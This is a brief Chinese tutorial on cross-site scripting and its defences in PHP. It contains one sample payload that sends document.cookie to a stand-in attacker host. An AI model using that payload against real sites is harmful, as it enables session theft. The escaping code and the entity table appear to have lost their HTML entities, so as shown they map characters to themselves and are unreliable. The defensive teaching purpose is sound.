XSS***:
跨站腳本***(Cross Site Scripting)。XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。
以下是一個惡意js腳本的範例:
<script> window.open("http://badguy.com?cookie="+document.cookie) </script>
下面簡單介紹一下Cross腳本的防禦方法:
大體的思路很簡單,一般XSS***都是程序沒有過濾掉用戶輸入中的惡意js腳本,以致惡意的js腳本被解釋執行。所以我們只需要將用戶輸入字符串進行檢測,去掉<script></script>標籤,或者轉義'<'字符。
PHP代碼:
if($_SERVER['REQUEST_URI']) { $temp = urldecode($_SERVER['REQUEST_URI']); if(strexists($temp, '<') || strexists($temp, '"')) { $_GET = shtmlspecialchars($_GET);//XSS } } //取消HTML代碼 function shtmlspecialchars($string) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = shtmlspecialchars($val); } } else { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/', '&\\1', str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string)); } return $string; }
當然也可以轉義:
1、htmlspecialchars() 轉義特別的字符爲HTML實體
'&' (ampersand) becomes '&'
'"' (double quote) becomes '"' when ENT_NOQUOTES is not set.
''' (single quote) becomes ''' only when ENT_QUOTES is set.
'<' (less than) becomes '<'
'>' (greater than) becomes '>'
2、htmlspecialchars_decode()將實體轉成HTML代碼,函數1的反函數
3、 htmlentities()這個是全部轉換html實體,和htmlspecialchars()區別在於,這個函數是轉義全部的字符,而htmlspecialchars()僅僅轉義上面限定的5個特殊字符
除此之外,有些***腳本不一定位於<script></script>中,因此
將重要的cookie標記爲http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。
只允許用戶輸入我們期望的數據,採用正則表達式限制用戶輸入的格式。
對數據進行Html Encode 處理。
過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , < for <, > for >, " for
過濾JavaScript 事件的標籤。例如 " "onfocus" 等等。